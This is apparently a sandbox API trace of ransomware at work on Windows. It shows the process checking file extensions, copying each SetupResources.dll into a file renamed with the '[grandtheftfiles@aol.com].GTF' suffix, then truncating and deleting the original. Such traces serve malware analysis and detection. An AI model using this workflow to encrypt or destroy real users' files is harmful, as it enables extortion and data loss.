	[0065.090] lstrlenW (lpString=".doc") returned 4
	[0065.091] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".docx") returned 5
	[0065.091] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0065.091] lstrlenW (lpString=".pdf") returned 4
	[0065.091] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".xls") returned 4
	[0065.091] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".xlsx") returned 5
	[0065.091] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0065.091] lstrlenW (lpString=".ppt") returned 4
	[0065.091] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString=".zip") returned 4
	[0065.091] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".rar") returned 4
	[0065.091] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".bz2") returned 4
	[0065.091] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0065.091] lstrlenW (lpString=".7z") returned 3
	[0065.091] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString=".dbf") returned 4
	[0065.091] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString=".1cd") returned 4
	[0065.091] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString=".jpg") returned 4
	[0065.091] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.091] lstrlenW (lpString=".doc") returned 4
	[0065.091] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0065.091] lstrlenW (lpString=".docx") returned 5
	[0065.091] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0065.091] lstrlenW (lpString=".pdf") returned 4
	[0065.091] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString=".xls") returned 4
	[0065.092] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString=".xlsx") returned 5
	[0065.092] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0065.092] lstrlenW (lpString=".ppt") returned 4
	[0065.092] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.092] lstrlenW (lpString=".zip") returned 4
	[0065.092] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString=".rar") returned 4
	[0065.092] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString=".bz2") returned 4
	[0065.092] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0065.092] lstrlenW (lpString=".7z") returned 3
	[0065.092] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0065.092] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.092] lstrlenW (lpString=".dbf") returned 4
	[0065.092] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0065.092] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.092] lstrlenW (lpString=".1cd") returned 4
	[0065.092] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0065.092] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0065.092] lstrlenW (lpString=".jpg") returned 4
	[0065.092] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0065.092] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0065.092] lstrlenW (lpString="SetupResources.dll") returned 18
	[0065.092] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.093] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=18264) returned 1
	[0065.093] CloseHandle (hObject=0x314) returned 1
	[0065.093] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80
	[0065.093] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.093] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.093] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.093] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.093] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318
	[0065.093] GetLastError () returned 0x0
	[0065.093] ReadFile (in: hFile=0x314, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0065.150] WriteFile (in: hFile=0x318, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0065.152] ReadFile (in: hFile=0x314, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.152] WriteFile (in: hFile=0x318, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0065.152] SetEndOfFile (hFile=0x318) returned 1
	[0065.152] CloseHandle (hObject=0x318) returned 1
	[0065.153] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.153] SetEndOfFile (hFile=0x314) returned 1
	[0065.154] CloseHandle (hObject=0x314) returned 1
	[0065.154] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.155] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1
	[0065.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.155] lstrlenW (lpString=".doc") returned 4
	[0065.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString=".docx") returned 5
	[0065.155] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.155] lstrlenW (lpString=".pdf") returned 4
	[0065.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString=".xls") returned 4
	[0065.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString=".xlsx") returned 5
	[0065.155] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.155] lstrlenW (lpString=".ppt") returned 4
	[0065.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.155] lstrlenW (lpString=".zip") returned 4
	[0065.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.155] lstrlenW (lpString=".rar") returned 4
	[0065.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".bz2") returned 4
	[0065.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.156] lstrlenW (lpString=".7z") returned 3
	[0065.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString=".dbf") returned 4
	[0065.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString=".1cd") returned 4
	[0065.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString=".jpg") returned 4
	[0065.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString=".doc") returned 4
	[0065.156] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".docx") returned 5
	[0065.156] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.156] lstrlenW (lpString=".pdf") returned 4
	[0065.156] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".xls") returned 4
	[0065.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".xlsx") returned 5
	[0065.156] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.156] lstrlenW (lpString=".ppt") returned 4
	[0065.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.156] lstrlenW (lpString=".zip") returned 4
	[0065.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".rar") returned 4
	[0065.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.156] lstrlenW (lpString=".bz2") returned 4
	[0065.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.156] lstrlenW (lpString=".7z") returned 3
	[0065.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.157] lstrlenW (lpString=".dbf") returned 4
	[0065.157] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.157] lstrlenW (lpString=".1cd") returned 4
	[0065.157] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.157] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45
	[0065.157] lstrlenW (lpString=".jpg") returned 4
	[0065.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.157] Sleep (dwMilliseconds=0x64) 
	[0066.369] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0066.369] lstrlenW (lpString="SetupResources.dll") returned 18
	[0066.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0066.614] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=17240) returned 1
	[0066.615] CloseHandle (hObject=0x32c) returned 1
	[0066.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80
	[0066.615] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0066.615] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.615] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0066.615] GetLastError () returned 0x0
	[0066.615] ReadFile (in: hFile=0x32c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4358, lpOverlapped=0x0) returned 1
	[0066.618] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4360, lpOverlapped=0x0) returned 1
	[0066.619] ReadFile (in: hFile=0x32c, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.619] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0066.619] SetEndOfFile (hFile=0x2fc) returned 1
	[0066.619] CloseHandle (hObject=0x2fc) returned 1
	[0066.621] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.621] SetEndOfFile (hFile=0x32c) returned 1
	[0066.622] CloseHandle (hObject=0x32c) returned 1
	[0066.622] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.622] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1
	[0066.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.622] lstrlenW (lpString=".doc") returned 4
	[0066.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.622] lstrlenW (lpString=".docx") returned 5
	[0066.622] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0066.622] lstrlenW (lpString=".pdf") returned 4
	[0066.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.622] lstrlenW (lpString=".xls") returned 4
	[0066.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".xlsx") returned 5
	[0066.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0066.623] lstrlenW (lpString=".ppt") returned 4
	[0066.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString=".zip") returned 4
	[0066.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".rar") returned 4
	[0066.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".bz2") returned 4
	[0066.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.623] lstrlenW (lpString=".7z") returned 3
	[0066.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString=".dbf") returned 4
	[0066.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString=".1cd") returned 4
	[0066.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString=".jpg") returned 4
	[0066.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.623] lstrlenW (lpString=".doc") returned 4
	[0066.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".docx") returned 5
	[0066.623] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0066.623] lstrlenW (lpString=".pdf") returned 4
	[0066.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".xls") returned 4
	[0066.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.623] lstrlenW (lpString=".xlsx") returned 5
	[0066.623] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0066.623] lstrlenW (lpString=".ppt") returned 4
	[0066.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.624] lstrlenW (lpString=".zip") returned 4
	[0066.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.624] lstrlenW (lpString=".rar") returned 4
	[0066.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.624] lstrlenW (lpString=".bz2") returned 4
	[0066.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.624] lstrlenW (lpString=".7z") returned 3
	[0066.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.624] lstrlenW (lpString=".dbf") returned 4
	[0066.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.624] lstrlenW (lpString=".1cd") returned 4
	[0066.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0066.624] lstrlenW (lpString=".jpg") returned 4
	[0066.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.624] Sleep (dwMilliseconds=0x64) 
	[0067.687] Sleep (dwMilliseconds=0x64) 
	[0068.054] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.054] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.055] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=18776) returned 1
	[0068.055] CloseHandle (hObject=0x360) returned 1
	[0068.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80
	[0068.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0068.055] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.055] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0068.056] GetLastError () returned 0x0
	[0068.056] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0068.269] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0068.270] ReadFile (in: hFile=0x360, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.270] WriteFile (in: hFile=0x364, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.271] SetEndOfFile (hFile=0x364) returned 1
	[0068.271] CloseHandle (hObject=0x364) returned 1
	[0068.272] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.272] SetEndOfFile (hFile=0x360) returned 1
	[0068.273] CloseHandle (hObject=0x360) returned 1
	[0068.273] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.273] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1
	[0068.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.273] lstrlenW (lpString=".doc") returned 4
	[0068.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.273] lstrlenW (lpString=".docx") returned 5
	[0068.273] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.273] lstrlenW (lpString=".pdf") returned 4
	[0068.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.273] lstrlenW (lpString=".xls") returned 4
	[0068.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.273] lstrlenW (lpString=".xlsx") returned 5
	[0068.273] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.273] lstrlenW (lpString=".ppt") returned 4
	[0068.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".zip") returned 4
	[0068.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString=".rar") returned 4
	[0068.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.274] lstrlenW (lpString=".bz2") returned 4
	[0068.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.274] lstrlenW (lpString=".7z") returned 3
	[0068.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".dbf") returned 4
	[0068.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".1cd") returned 4
	[0068.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45
	[0068.274] lstrlenW (lpString=".jpg") returned 4
	[0068.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
